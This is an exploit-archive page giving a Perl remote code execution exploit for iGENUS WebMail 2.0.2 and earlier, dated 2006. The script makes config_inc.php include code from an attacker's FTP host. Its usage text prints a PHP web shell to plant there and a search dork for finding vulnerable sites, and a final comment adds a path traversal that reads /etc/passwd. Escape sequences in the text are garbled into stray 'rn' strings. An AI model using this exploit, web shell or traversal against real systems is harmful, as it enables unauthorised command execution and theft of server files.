[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : iGENUS WebMail <= 2.0.2 (config_inc.php) Remote Code Execution Exploit
# Published : 2006-02-25
# Author : rgod
# Previous Title : 4Images <= 1.7.1 (Local Inclusion) Remote Code Execution Exploit
# Next Title : Pentacle In-Out Board <= 6.03 (newsdetailsview) Remote SQL Injection


#!/usr/bin/perl
use IO::Socket;

print "______________________________________________________rn";
print "iGENUS WebMail <= 2.0.2 remote commads xctnrn";
print "-> works against PHP5 with register_globals = Onrn";
print "   & allow_url_fopen = Onrn";
print "by rgod rgod<AT>autistici<DOT>orgrn";
print "site: http://retrogod.altervista.orgrnrn";
print "dork:  intitle:"igenus webmail login"rn";
print "______________________________________________________rn";

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 4)
{
print "rnUsage:rn";
print "perl igenus_xpl.pl SERVER PATH FTP_LOCATION COMMANDrnrn";
print "SERVER         - Server where iGENUS is installed.rn";
print "PATH           - Path to iGENUS (ex: /igenus/ or just /) rn";
print "FTP_LOCATION   - an FTP site with the code to includern";
print "COMMAND        - a Unix commandrnrn";
print "Example:rn";
print "perl igenus_xpl.pl localhost /igenus/ ftp://username:password/somehost.com ls -larn";
print "perl igenus_xpl.pl localhost /igenus/ ftp://username:password/somehost.com/subdir cat config_inc.phprnrn";
print "note: on ftp location you need this code in .config :rn";
print "<?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>rnrn";
exit();
}

  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.nn";
  print $sock "GET ".$path."config/config_inc.php?cmd=".$cmd."&SG_HOME=".$loc." HTTP/1.1rn";
  print $sock "Host: ".$serv."rn";
  print $sock "Connection: closernrn";

  while ($answer = <$sock>) {
    print $answer;
  }
  close($sock);

# ----------------> also, with magic_quotes_gpc = Off, try this:
# http://[target]/[path]/?Lang=../../../../../../../../etc/passwd%00

# www.Syue.com [2006-02-25]